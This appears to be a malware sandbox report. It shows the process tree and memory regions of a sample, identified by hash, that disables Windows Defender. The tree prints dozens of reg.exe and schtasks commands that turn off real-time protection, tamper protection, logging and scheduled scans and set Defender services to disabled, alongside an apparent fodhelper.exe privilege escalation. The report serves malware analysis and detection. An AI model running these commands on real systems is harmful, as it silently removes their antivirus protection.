C:\Windows\SysWOW64\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe"C:\Users\Admin\AppData\Local\Temp\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe" -wdkill3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f4⤵
- Modifies security service
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f4⤵
- Modifies security service
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe"C:\Users\Admin\AppData\Local\Temp\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe" -prs 37563⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/60-380-0x0000000000000000-mapping.dmp
-
memory/64-434-0x0000000000000000-mapping.dmp
-
memory/212-366-0x0000000000000000-mapping.dmp
-
memory/396-298-0x0000000000000000-mapping.dmp
-
memory/400-403-0x0000000000000000-mapping.dmp
-
memory/496-312-0x0000000000000000-mapping.dmp
-
memory/560-356-0x0000000000000000-mapping.dmp
-
memory/772-390-0x0000000000000000-mapping.dmp
-
memory/920-224-0x0000000000000000-mapping.dmp
-
memory/1028-304-0x0000000000000000-mapping.dmp
-
memory/1120-336-0x0000000000000000-mapping.dmp
-
memory/1308-291-0x0000000000000000-mapping.dmp
-
memory/1468-396-0x0000000000000000-mapping.dmp
-
memory/1520-325-0x0000000000000000-mapping.dmp
-
memory/1616-309-0x0000000000000000-mapping.dmp
-
memory/1868-225-0x0000000000000000-mapping.dmp
-
memory/2024-316-0x0000000000000000-mapping.dmp
-
memory/2160-408-0x0000000000000000-mapping.dmp
-
memory/2180-371-0x0000000000000000-mapping.dmp
-
memory/2228-293-0x0000000000000000-mapping.dmp
-
memory/2432-297-0x0000000000000000-mapping.dmp
-
memory/2452-675-0x0000000000000000-mapping.dmp
-
memory/2644-418-0x0000000000000000-mapping.dmp
-
memory/2684-424-0x0000000000000000-mapping.dmp
-
memory/2712-630-0x0000000000000000-mapping.dmp
-
memory/2916-713-0x0000000000000000-mapping.dmp
-
memory/3104-693-0x0000000000000000-mapping.dmp
-
memory/3304-341-0x0000000000000000-mapping.dmp
-
memory/3320-251-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/3320-1047-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/3320-813-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/3320-226-0x0000000000000000-mapping.dmp
-
memory/3324-440-0x0000000000000000-mapping.dmp
-
memory/3340-1049-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/3340-841-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/3340-254-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/3340-227-0x0000000000000000-mapping.dmp
-
memory/3360-361-0x0000000000000000-mapping.dmp
-
memory/3368-732-0x0000000000000000-mapping.dmp
-
memory/3380-629-0x0000000000000000-mapping.dmp
-
memory/3384-321-0x0000000000000000-mapping.dmp
-
memory/3512-331-0x0000000000000000-mapping.dmp
-
memory/3648-376-0x0000000000000000-mapping.dmp
-
memory/3720-303-0x0000000000000000-mapping.dmp
-
memory/3740-294-0x0000000000000000-mapping.dmp
-
memory/3756-155-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-142-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-163-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-166-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-167-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-169-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-171-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-170-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-168-0x00000000739D0000-0x0000000073A0A000-memory.dmpFilesize
232KB
-
memory/3756-172-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-173-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-174-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-177-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-176-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-180-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-182-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-181-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-179-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-178-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-175-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-165-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-214-0x00000000739A0000-0x00000000739DA000-memory.dmpFilesize
232KB
-
memory/3756-215-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/3756-162-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-161-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-160-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-150-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-158-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-159-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-157-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-2017-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/3756-154-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-156-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-117-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-152-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-153-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-151-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-121-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-145-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-147-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-149-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-148-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-1750-0x00000000739A0000-0x00000000739DA000-memory.dmpFilesize
232KB
-
memory/3756-146-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-144-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-130-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/3756-131-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-140-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-143-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-164-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-141-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-139-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-138-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-120-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-137-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-134-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-136-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-135-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-133-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-132-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-129-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-124-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-1457-0x00000000739D0000-0x0000000073A0A000-memory.dmpFilesize
232KB
-
memory/3756-123-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-122-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-119-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-118-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-125-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-126-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-127-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3756-128-0x0000000077440000-0x00000000775CE000-memory.dmpFilesize
1.6MB
-
memory/3780-346-0x0000000000000000-mapping.dmp
-
memory/3804-289-0x0000000000000000-mapping.dmp
-
memory/3816-385-0x0000000000000000-mapping.dmp
-
memory/4028-351-0x0000000000000000-mapping.dmp
-
memory/4152-452-0x0000000000000000-mapping.dmp
-
memory/4216-460-0x0000000000000000-mapping.dmp
-
memory/4260-750-0x0000000000000000-mapping.dmp
-
memory/4264-749-0x0000000000000000-mapping.dmp
-
memory/4312-471-0x0000000000000000-mapping.dmp
-
memory/4368-694-0x0000000000000000-mapping.dmp
-
memory/4384-483-0x0000000000000000-mapping.dmp
-
memory/4480-494-0x0000000000000000-mapping.dmp
-
memory/4492-646-0x0000000000000000-mapping.dmp
-
memory/4564-505-0x0000000000000000-mapping.dmp
-
memory/4604-714-0x0000000000000000-mapping.dmp
-
memory/4656-518-0x0000000000000000-mapping.dmp
-
memory/4672-647-0x0000000000000000-mapping.dmp
-
memory/4700-648-0x0000000000000000-mapping.dmp
-
memory/4740-530-0x0000000000000000-mapping.dmp
-
memory/4764-660-0x0000000000000000-mapping.dmp
-
memory/4780-661-0x0000000000000000-mapping.dmp
-
memory/4824-545-0x0000000000000000-mapping.dmp
-
memory/4904-554-0x0000000000000000-mapping.dmp
-
memory/4976-733-0x0000000000000000-mapping.dmp
-
memory/5040-676-0x0000000000000000-mapping.dmp
-
memory/5588-999-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/5588-1957-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/5588-2016-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/5588-2018-0x00000000725A0000-0x00000000725DA000-memory.dmpFilesize
232KB